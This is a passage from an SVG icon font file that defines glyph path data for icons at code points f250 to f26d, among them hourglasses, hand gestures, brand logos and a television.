t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81z" />
    <glyph glyph-name="_555" unicode="&#xf250;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-77 -29 -149 -92.5
t-129.5 -152.5t-92.5 -210t-35 -253h1024q0 132 -35 253t-92.5 210t-129.5 152.5t-149 92.5q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_556" unicode="&#xf251;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -66 9 -128h1006q9 61 9 128zM1280 -128q0 130 -34 249.5t-90.5 208t-126.5 152t-146 94.5h-230q-76 -31 -146 -94.5t-126.5 -152t-90.5 -208t-34 -249.5h1024z" />
    <glyph glyph-name="_557" unicode="&#xf252;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -206 85 -384h854q85 178 85 384zM1223 192q-54 141 -145.5 241.5t-194.5 142.5h-230q-103 -42 -194.5 -142.5t-145.5 -241.5h910z" />
    <glyph glyph-name="_558" unicode="&#xf253;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-137 -51 -244 -196
h700q-107 145 -244 196q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_559" unicode="&#xf254;" 
d="M1504 -64q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472zM130 0q3 55 16 107t30 95t46 87t53.5 76t64.5 69.5t66 60t70.5 55t66.5 47.5t65 43q-43 28 -65 43t-66.5 47.5t-70.5 55t-66 60t-64.5 69.5t-53.5 76t-46 87
t-30 95t-16 107h1276q-3 -55 -16 -107t-30 -95t-46 -87t-53.5 -76t-64.5 -69.5t-66 -60t-70.5 -55t-66.5 -47.5t-65 -43q43 -28 65 -43t66.5 -47.5t70.5 -55t66 -60t64.5 -69.5t53.5 -76t46 -87t30 -95t16 -107h-1276zM1504 1536q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9
h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472z" />
    <glyph glyph-name="_560" unicode="&#xf255;" 
d="M768 1152q-53 0 -90.5 -37.5t-37.5 -90.5v-128h-32v93q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-429l-32 30v172q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-224q0 -47 35 -82l310 -296q39 -39 39 -102q0 -26 19 -45t45 -19h640q26 0 45 19t19 45v25
q0 41 10 77l108 436q10 36 10 77v246q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-32h-32v125q0 40 -25 72.5t-64 40.5q-14 2 -23 2q-46 0 -79 -33t-33 -79v-128h-32v122q0 51 -32.5 89.5t-82.5 43.5q-5 1 -13 1zM768 1280q84 0 149 -50q57 34 123 34q59 0 111 -27
t86 -76q27 7 59 7q100 0 170 -71.5t70 -171.5v-246q0 -51 -13 -108l-109 -436q-6 -24 -6 -71q0 -80 -56 -136t-136 -56h-640q-84 0 -138 58.5t-54 142.5l-308 296q-76 73 -76 175v224q0 99 70.5 169.5t169.5 70.5q11 0 16 -1q6 95 75.5 160t164.5 65q52 0 98 -21
q72 69 174 69z" />
    <glyph glyph-name="_561" unicode="&#xf256;" horiz-adv-x="1792" 
d="M880 1408q-46 0 -79 -33t-33 -79v-656h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528v-256l-154 205q-38 51 -102 51q-53 0 -90.5 -37.5t-37.5 -90.5q0 -43 26 -77l384 -512q38 -51 102 -51h688q34 0 61 22t34 56l76 405q5 32 5 59v498q0 46 -33 79t-79 33t-79 -33
t-33 -79v-272h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528h-32v656q0 46 -33 79t-79 33zM880 1536q68 0 125.5 -35.5t88.5 -96.5q19 4 42 4q99 0 169.5 -70.5t70.5 -169.5v-17q105 6 180.5 -64t75.5 -175v-498q0 -40 -8 -83l-76 -404q-14 -79 -76.5 -131t-143.5 -52
h-688q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 106 75 181t181 75q78 0 128 -34v434q0 99 70.5 169.5t169.5 70.5q23 0 42 -4q31 61 88.5 96.5t125.5 35.5z" />
    <glyph glyph-name="_562" unicode="&#xf257;" horiz-adv-x="1792" 
d="M1073 -128h-177q-163 0 -226 141q-23 49 -23 102v5q-62 30 -98.5 88.5t-36.5 127.5q0 38 5 48h-261q-106 0 -181 75t-75 181t75 181t181 75h113l-44 17q-74 28 -119.5 93.5t-45.5 145.5q0 106 75 181t181 75q46 0 91 -17l628 -239h401q106 0 181 -75t75 -181v-668
q0 -88 -54 -157.5t-140 -90.5l-339 -85q-92 -23 -186 -23zM1024 583l-155 -71l-163 -74q-30 -14 -48 -41.5t-18 -60.5q0 -46 33 -79t79 -33q26 0 46 10l338 154q-49 10 -80.5 50t-31.5 90v55zM1344 272q0 46 -33 79t-79 33q-26 0 -46 -10l-290 -132q-28 -13 -37 -17
t-30.5 -17t-29.5 -23.5t-16 -29t-8 -40.5q0 -50 31.5 -82t81.5 -32q20 0 38 9l352 160q30 14 48 41.5t18 60.5zM1112 1024l-650 248q-24 8 -46 8q-53 0 -90.5 -37.5t-37.5 -90.5q0 -40 22.5 -73t59.5 -47l526 -200v-64h-640q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5
t90.5 -37.5h535l233 106v198q0 63 46 106l111 102h-69zM1073 0q82 0 155 19l339 85q43 11 70 45.5t27 78.5v668q0 53 -37.5 90.5t-90.5 37.5h-308l-136 -126q-36 -33 -36 -82v-296q0 -46 33 -77t79 -31t79 35t33 81v208h32v-208q0 -70 -57 -114q52 -8 86.5 -48.5t34.5 -93.5
q0 -42 -23 -78t-61 -53l-310 -141h91z" />
    <glyph glyph-name="_563" unicode="&#xf258;" horiz-adv-x="2048" 
d="M1151 1536q61 0 116 -28t91 -77l572 -781q118 -159 118 -359v-355q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v177l-286 143h-546q-80 0 -136 56t-56 136v32q0 119 84.5 203.5t203.5 84.5h420l42 128h-686q-100 0 -173.5 67.5t-81.5 166.5q-65 79 -65 182v32
q0 80 56 136t136 56h959zM1920 -64v355q0 157 -93 284l-573 781q-39 52 -103 52h-959q-26 0 -45 -19t-19 -45q0 -32 1.5 -49.5t9.5 -40.5t25 -43q10 31 35.5 50t56.5 19h832v-32h-832q-26 0 -45 -19t-19 -45q0 -44 3 -58q8 -44 44 -73t81 -29h640h91q40 0 68 -28t28 -68
q0 -15 -5 -30l-64 -192q-10 -29 -35 -47.5t-56 -18.5h-443q-66 0 -113 -47t-47 -113v-32q0 -26 19 -45t45 -19h561q16 0 29 -7l317 -158q24 -13 38.5 -36t14.5 -50v-197q0 -26 19 -45t45 -19h384q26 0 45 19t19 45z" />
    <glyph glyph-name="_564" unicode="&#xf259;" horiz-adv-x="2048" 
d="M459 -256q-77 0 -137.5 47.5t-79.5 122.5l-101 401q-13 57 -13 108q0 45 -5 67l-116 477q-7 27 -7 57q0 93 62 161t155 78q17 85 82.5 139t152.5 54q83 0 148 -51.5t85 -132.5l83 -348l103 428q20 81 85 132.5t148 51.5q89 0 155.5 -57.5t80.5 -144.5q92 -10 152 -79
t60 -162q0 -24 -7 -59l-123 -512q10 7 37.5 28.5t38.5 29.5t35 23t41 20.5t41.5 11t49.5 5.5q105 0 180 -74t75 -179q0 -62 -28.5 -118t-78.5 -94l-507 -380q-68 -51 -153 -51h-694zM1104 1408q-38 0 -68.5 -24t-39.5 -62l-164 -682h-127l-145 602q-9 38 -39.5 62t-68.5 24
q-48 0 -80 -33t-32 -80q0 -15 3 -28l132 -547h-26l-99 408q-9 37 -40 62.5t-69 25.5q-47 0 -80 -33t-33 -79q0 -14 3 -26l116 -478q7 -28 9 -86t10 -88l100 -401q8 -32 34 -52.5t59 -20.5h694q42 0 76 26l507 379q56 43 56 110q0 52 -37.5 88.5t-89.5 36.5q-43 0 -77 -26
l-307 -230v227q0 4 32 138t68 282t39 161q4 18 4 29q0 47 -32 81t-79 34q-39 0 -69.5 -24t-39.5 -62l-116 -482h-26l150 624q3 14 3 28q0 48 -31.5 82t-79.5 34z" />
    <glyph glyph-name="_565" unicode="&#xf25a;" horiz-adv-x="1792" 
d="M640 1408q-53 0 -90.5 -37.5t-37.5 -90.5v-512v-384l-151 202q-41 54 -107 54q-52 0 -89 -38t-37 -90q0 -43 26 -77l384 -512q38 -51 102 -51h718q22 0 39.5 13.5t22.5 34.5l92 368q24 96 24 194v217q0 41 -28 71t-68 30t-68 -28t-28 -68h-32v61q0 48 -32 81.5t-80 33.5
q-46 0 -79 -33t-33 -79v-64h-32v90q0 55 -37 94.5t-91 39.5q-53 0 -90.5 -37.5t-37.5 -90.5v-96h-32v570q0 55 -37 94.5t-91 39.5zM640 1536q107 0 181.5 -77.5t74.5 -184.5v-220q22 2 32 2q99 0 173 -69q47 21 99 21q113 0 184 -87q27 7 56 7q94 0 159 -67.5t65 -161.5
v-217q0 -116 -28 -225l-92 -368q-16 -64 -68 -104.5t-118 -40.5h-718q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 105 74.5 180.5t179.5 75.5q71 0 130 -35v547q0 106 75 181t181 75zM768 128v384h-32v-384h32zM1024 128v384h-32v-384h32zM1280 128v384h-32
v-384h32z" />
    <glyph glyph-name="_566" unicode="&#xf25b;" 
d="M1288 889q60 0 107 -23q141 -63 141 -226v-177q0 -94 -23 -186l-85 -339q-21 -86 -90.5 -140t-157.5 -54h-668q-106 0 -181 75t-75 181v401l-239 628q-17 45 -17 91q0 106 75 181t181 75q80 0 145.5 -45.5t93.5 -119.5l17 -44v113q0 106 75 181t181 75t181 -75t75 -181
v-261q27 5 48 5q69 0 127.5 -36.5t88.5 -98.5zM1072 896q-33 0 -60.5 -18t-41.5 -48l-74 -163l-71 -155h55q50 0 90 -31.5t50 -80.5l154 338q10 20 10 46q0 46 -33 79t-79 33zM1293 761q-22 0 -40.5 -8t-29 -16t-23.5 -29.5t-17 -30.5t-17 -37l-132 -290q-10 -20 -10 -46
q0 -46 33 -79t79 -33q33 0 60.5 18t41.5 48l160 352q9 18 9 38q0 50 -32 81.5t-82 31.5zM128 1120q0 -22 8 -46l248 -650v-69l102 111q43 46 106 46h198l106 233v535q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5v-640h-64l-200 526q-14 37 -47 59.5t-73 22.5
q-53 0 -90.5 -37.5t-37.5 -90.5zM1180 -128q44 0 78.5 27t45.5 70l85 339q19 73 19 155v91l-141 -310q-17 -38 -53 -61t-78 -23q-53 0 -93.5 34.5t-48.5 86.5q-44 -57 -114 -57h-208v32h208q46 0 81 33t35 79t-31 79t-77 33h-296q-49 0 -82 -36l-126 -136v-308
q0 -53 37.5 -90.5t90.5 -37.5h668z" />
    <glyph glyph-name="_567" unicode="&#xf25c;" horiz-adv-x="1973" 
d="M857 992v-117q0 -13 -9.5 -22t-22.5 -9h-298v-812q0 -13 -9 -22.5t-22 -9.5h-135q-13 0 -22.5 9t-9.5 23v812h-297q-13 0 -22.5 9t-9.5 22v117q0 14 9 23t23 9h793q13 0 22.5 -9.5t9.5 -22.5zM1895 995l77 -961q1 -13 -8 -24q-10 -10 -23 -10h-134q-12 0 -21 8.5
t-10 20.5l-46 588l-189 -425q-8 -19 -29 -19h-120q-20 0 -29 19l-188 427l-45 -590q-1 -12 -10 -20.5t-21 -8.5h-135q-13 0 -23 10q-9 10 -9 24l78 961q1 12 10 20.5t21 8.5h142q20 0 29 -19l220 -520q10 -24 20 -51q3 7 9.5 24.5t10.5 26.5l221 520q9 19 29 19h141
q13 0 22 -8.5t10 -20.5z" />
    <glyph glyph-name="_568" unicode="&#xf25d;" horiz-adv-x="1792" 
d="M1042 833q0 88 -60 121q-33 18 -117 18h-123v-281h162q66 0 102 37t36 105zM1094 548l205 -373q8 -17 -1 -31q-8 -16 -27 -16h-152q-20 0 -28 17l-194 365h-155v-350q0 -14 -9 -23t-23 -9h-134q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h294q128 0 190 -24q85 -31 134 -109
t49 -180q0 -92 -42.5 -165.5t-115.5 -109.5q6 -10 9 -16zM896 1376q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM1792 640
q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_569" unicode="&#xf25e;" horiz-adv-x="1792" 
d="M605 303q153 0 257 104q14 18 3 36l-45 82q-6 13 -24 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78
q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-148 0 -246 -96.5t-98 -240.5q0 -146 97 -241.5t247 -95.5zM1235 303q153 0 257 104q14 18 4 36l-45 82q-8 14 -25 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5
t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-147 0 -245.5 -96.5t-98.5 -240.5q0 -146 97 -241.5t247 -95.5zM896 1376
q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71z" />
    <glyph glyph-name="f260" unicode="&#xf260;" horiz-adv-x="2048" 
d="M736 736l384 -384l-384 -384l-672 672l672 672l168 -168l-96 -96l-72 72l-480 -480l480 -480l193 193l-289 287zM1312 1312l672 -672l-672 -672l-168 168l96 96l72 -72l480 480l-480 480l-193 -193l289 -287l-96 -96l-384 384z" />
    <glyph glyph-name="f261" unicode="&#xf261;" horiz-adv-x="1792" 
d="M717 182l271 271l-279 279l-88 -88l192 -191l-96 -96l-279 279l279 279l40 -40l87 87l-127 128l-454 -454zM1075 190l454 454l-454 454l-271 -271l279 -279l88 88l-192 191l96 96l279 -279l-279 -279l-40 40l-87 -88zM1792 640q0 -182 -71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_572" unicode="&#xf262;" horiz-adv-x="2304" 
d="M651 539q0 -39 -27.5 -66.5t-65.5 -27.5q-39 0 -66.5 27.5t-27.5 66.5q0 38 27.5 65.5t66.5 27.5q38 0 65.5 -27.5t27.5 -65.5zM1805 540q0 -39 -27.5 -66.5t-66.5 -27.5t-66.5 27.5t-27.5 66.5t27.5 66t66.5 27t66.5 -27t27.5 -66zM765 539q0 79 -56.5 136t-136.5 57
t-136.5 -56.5t-56.5 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM1918 540q0 80 -56.5 136.5t-136.5 56.5q-79 0 -136 -56.5t-57 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM850 539q0 -116 -81.5 -197.5t-196.5 -81.5q-116 0 -197.5 82t-81.5 197
t82 196.5t197 81.5t196.5 -81.5t81.5 -196.5zM2004 540q0 -115 -81.5 -196.5t-197.5 -81.5q-115 0 -196.5 81.5t-81.5 196.5t81.5 196.5t196.5 81.5q116 0 197.5 -81.5t81.5 -196.5zM1040 537q0 191 -135.5 326.5t-326.5 135.5q-125 0 -231 -62t-168 -168.5t-62 -231.5
t62 -231.5t168 -168.5t231 -62q191 0 326.5 135.5t135.5 326.5zM1708 1110q-254 111 -556 111q-319 0 -573 -110q117 0 223 -45.5t182.5 -122.5t122 -183t45.5 -223q0 115 43.5 219.5t118 180.5t177.5 123t217 50zM2187 537q0 191 -135 326.5t-326 135.5t-326.5 -135.5
t-135.5 -326.5t135.5 -326.5t326.5 -135.5t326 135.5t135 326.5zM1921 1103h383q-44 -51 -75 -114.5t-40 -114.5q110 -151 110 -337q0 -156 -77 -288t-209 -208.5t-287 -76.5q-133 0 -249 56t-196 155q-47 -56 -129 -179q-11 22 -53.5 82.5t-74.5 97.5
q-80 -99 -196.5 -155.5t-249.5 -56.5q-155 0 -287 76.5t-209 208.5t-77 288q0 186 110 337q-9 51 -40 114.5t-75 114.5h365q149 100 355 156.5t432 56.5q224 0 421 -56t348 -157z" />
    <glyph glyph-name="f263" unicode="&#xf263;" horiz-adv-x="1280" 
d="M640 629q-188 0 -321 133t-133 320q0 188 133 321t321 133t321 -133t133 -321q0 -187 -133 -320t-321 -133zM640 1306q-92 0 -157.5 -65.5t-65.5 -158.5q0 -92 65.5 -157.5t157.5 -65.5t157.5 65.5t65.5 157.5q0 93 -65.5 158.5t-157.5 65.5zM1163 574q13 -27 15 -49.5
t-4.5 -40.5t-26.5 -38.5t-42.5 -37t-61.5 -41.5q-115 -73 -315 -94l73 -72l267 -267q30 -31 30 -74t-30 -73l-12 -13q-31 -30 -74 -30t-74 30q-67 68 -267 268l-267 -268q-31 -30 -74 -30t-73 30l-12 13q-31 30 -31 73t31 74l267 267l72 72q-203 21 -317 94
q-39 25 -61.5 41.5t-42.5 37t-26.5 38.5t-4.5 40.5t15 49.5q10 20 28 35t42 22t56 -2t65 -35q5 -4 15 -11t43 -24.5t69 -30.5t92 -24t113 -11q91 0 174 25.5t120 50.5l38 25q33 26 65 35t56 2t42 -22t28 -35z" />
    <glyph glyph-name="_574" unicode="&#xf264;" 
d="M927 956q0 -66 -46.5 -112.5t-112.5 -46.5t-112.5 46.5t-46.5 112.5t46.5 112.5t112.5 46.5t112.5 -46.5t46.5 -112.5zM1141 593q-10 20 -28 32t-47.5 9.5t-60.5 -27.5q-10 -8 -29 -20t-81 -32t-127 -20t-124 18t-86 36l-27 18q-31 25 -60.5 27.5t-47.5 -9.5t-28 -32
q-22 -45 -2 -74.5t87 -73.5q83 -53 226 -67l-51 -52q-142 -142 -191 -190q-22 -22 -22 -52.5t22 -52.5l9 -9q22 -22 52.5 -22t52.5 22l191 191q114 -115 191 -191q22 -22 52.5 -22t52.5 22l9 9q22 22 22 52.5t-22 52.5l-191 190l-52 52q141 14 225 67q67 44 87 73.5t-2 74.5
zM1092 956q0 134 -95 229t-229 95t-229 -95t-95 -229t95 -229t229 -95t229 95t95 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_575" unicode="&#xf265;" horiz-adv-x="1720" 
d="M1565 1408q65 0 110 -45.5t45 -110.5v-519q0 -176 -68 -336t-182.5 -275t-274 -182.5t-334.5 -67.5q-176 0 -335.5 67.5t-274.5 182.5t-183 275t-68 336v519q0 64 46 110t110 46h1409zM861 344q47 0 82 33l404 388q37 35 37 85q0 49 -34.5 83.5t-83.5 34.5q-47 0 -82 -33
l-323 -310l-323 310q-35 33 -81 33q-49 0 -83.5 -34.5t-34.5 -83.5q0 -51 36 -85l405 -388q33 -33 81 -33z" />
    <glyph glyph-name="_576" unicode="&#xf266;" horiz-adv-x="2304" 
d="M1494 -103l-295 695q-25 -49 -158.5 -305.5t-198.5 -389.5q-1 -1 -27.5 -0.5t-26.5 1.5q-82 193 -255.5 587t-259.5 596q-21 50 -66.5 107.5t-103.5 100.5t-102 43q0 5 -0.5 24t-0.5 27h583v-50q-39 -2 -79.5 -16t-66.5 -43t-10 -64q26 -59 216.5 -499t235.5 -540
q31 61 140 266.5t131 247.5q-19 39 -126 281t-136 295q-38 69 -201 71v50l513 -1v-47q-60 -2 -93.5 -25t-12.5 -69q33 -70 87 -189.5t86 -187.5q110 214 173 363q24 55 -10 79.5t-129 26.5q1 7 1 25v24q64 0 170.5 0.5t180 1t92.5 0.5v-49q-62 -2 -119 -33t-90 -81
l-213 -442q13 -33 127.5 -290t121.5 -274l441 1017q-14 38 -49.5 62.5t-65 31.5t-55.5 8v50l460 -4l1 -2l-1 -44q-139 -4 -201 -145q-526 -1216 -559 -1291h-49z" />
    <glyph glyph-name="_577" unicode="&#xf267;" horiz-adv-x="1792" 
d="M949 643q0 -26 -16.5 -45t-41.5 -19q-26 0 -45 16.5t-19 41.5q0 26 17 45t42 19t44 -16.5t19 -41.5zM964 585l350 581q-9 -8 -67.5 -62.5t-125.5 -116.5t-136.5 -127t-117 -110.5t-50.5 -51.5l-349 -580q7 7 67 62t126 116.5t136 127t117 111t50 50.5zM1611 640
q0 -201 -104 -371q-3 2 -17 11t-26.5 16.5t-16.5 7.5q-13 0 -13 -13q0 -10 59 -44q-74 -112 -184.5 -190.5t-241.5 -110.5l-16 67q-1 10 -15 10q-5 0 -8 -5.5t-2 -9.5l16 -68q-72 -15 -146 -15q-199 0 -372 105q1 2 13 20.5t21.5 33.5t9.5 19q0 13 -13 13q-6 0 -17 -14.5
t-22.5 -34.5t-13.5 -23q-113 75 -192 187.5t-110 244.5l69 15q10 3 10 15q0 5 -5.5 8t-10.5 2l-68 -15q-14 72 -14 139q0 206 109 379q2 -1 18.5 -12t30 -19t17.5 -8q13 0 13 12q0 6 -12.5 15.5t-32.5 21.5l-20 12q77 112 189 189t244 107l15 -67q2 -10 15 -10q5 0 8 5.5
t2 10.5l-15 66q71 13 134 13q204 0 379 -109q-39 -56 -39 -65q0 -13 12 -13q11 0 48 64q111 -75 187.5 -186t107.5 -241l-56 -12q-10 -2 -10 -16q0 -5 5.5 -8t9.5 -2l57 13q14 -72 14 -140zM1696 640q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5
t-255 -170.5t-170.5 -255t-63.5 -311t63.5 -311t170.5 -255t255 -170.5t311 -63.5t311 63.5t255 170.5t170.5 255t63.5 311zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191
t191 -286t71 -348z" />
    <glyph glyph-name="_578" unicode="&#xf268;" horiz-adv-x="1792" 
d="M893 1536q240 2 451 -120q232 -134 352 -372l-742 39q-160 9 -294 -74.5t-185 -229.5l-276 424q128 159 311 245.5t383 87.5zM146 1131l337 -663q72 -143 211 -217t293 -45l-230 -451q-212 33 -385 157.5t-272.5 316t-99.5 411.5q0 267 146 491zM1732 962
q58 -150 59.5 -310.5t-48.5 -306t-153 -272t-246 -209.5q-230 -133 -498 -119l405 623q88 131 82.5 290.5t-106.5 277.5zM896 942q125 0 213.5 -88.5t88.5 -213.5t-88.5 -213.5t-213.5 -88.5t-213.5 88.5t-88.5 213.5t88.5 213.5t213.5 88.5z" />
    <glyph glyph-name="_579" unicode="&#xf269;" horiz-adv-x="1792" 
d="M903 -256q-283 0 -504.5 150.5t-329.5 398.5q-58 131 -67 301t26 332.5t111 312t179 242.5l-11 -281q11 14 68 15.5t70 -15.5q42 81 160.5 138t234.5 59q-54 -45 -119.5 -148.5t-58.5 -163.5q25 -8 62.5 -13.5t63 -7.5t68 -4t50.5 -3q15 -5 9.5 -45.5t-30.5 -75.5
q-5 -7 -16.5 -18.5t-56.5 -35.5t-101 -34l15 -189l-139 67q-18 -43 -7.5 -81.5t36 -66.5t65.5 -41.5t81 -6.5q51 9 98 34.5t83.5 45t73.5 17.5q61 -4 89.5 -33t19.5 -65q-1 -2 -2.5 -5.5t-8.5 -12.5t-18 -15.5t-31.5 -10.5t-46.5 -1q-60 -95 -144.5 -135.5t-209.5 -29.5
q74 -61 162.5 -82.5t168.5 -6t154.5 52t128 87.5t80.5 104q43 91 39 192.5t-37.5 188.5t-78.5 125q87 -38 137 -79.5t77 -112.5q15 170 -57.5 343t-209.5 284q265 -77 412 -279.5t151 -517.5q2 -127 -40.5 -255t-123.5 -238t-189 -196t-247.5 -135.5t-288.5 -49.5z" />
    <glyph glyph-name="_580" unicode="&#xf26a;" horiz-adv-x="1792" 
d="M1493 1308q-165 110 -359 110q-155 0 -293 -73t-240 -200q-75 -93 -119.5 -218t-48.5 -266v-42q4 -141 48.5 -266t119.5 -218q102 -127 240 -200t293 -73q194 0 359 110q-121 -108 -274.5 -168t-322.5 -60q-29 0 -43 1q-175 8 -333 82t-272 193t-181 281t-67 339
q0 182 71 348t191 286t286 191t348 71h3q168 -1 320.5 -60.5t273.5 -167.5zM1792 640q0 -192 -77 -362.5t-213 -296.5q-104 -63 -222 -63q-137 0 -255 84q154 56 253.5 233t99.5 405q0 227 -99 404t-253 234q119 83 254 83q119 0 226 -65q135 -125 210.5 -295t75.5 -361z
" />
    <glyph glyph-name="_581" unicode="&#xf26b;" horiz-adv-x="1792" 
d="M1792 599q0 -56 -7 -104h-1151q0 -146 109.5 -244.5t257.5 -98.5q99 0 185.5 46.5t136.5 130.5h423q-56 -159 -170.5 -281t-267.5 -188.5t-321 -66.5q-187 0 -356 83q-228 -116 -394 -116q-237 0 -237 263q0 115 45 275q17 60 109 229q199 360 475 606
q-184 -79 -427 -354q63 274 283.5 449.5t501.5 175.5q30 0 45 -1q255 117 433 117q64 0 116 -13t94.5 -40.5t66.5 -76.5t24 -115q0 -116 -75 -286q101 -182 101 -390zM1722 1239q0 83 -53 132t-137 49q-108 0 -254 -70q121 -47 222.5 -131.5t170.5 -195.5q51 135 51 216z
M128 2q0 -86 48.5 -132.5t134.5 -46.5q115 0 266 83q-122 72 -213.5 183t-137.5 245q-98 -205 -98 -332zM632 715h728q-5 142 -113 237t-251 95q-144 0 -251.5 -95t-112.5 -237z" />
    <glyph glyph-name="_582" unicode="&#xf26c;" horiz-adv-x="2048" 
d="M1792 288v960q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1248v-960q0 -66 -47 -113t-113 -47h-736v-128h352q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23
v64q0 14 9 23t23 9h352v128h-736q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_583" unicode="&#xf26d;" horiz-adv-x="1792" 
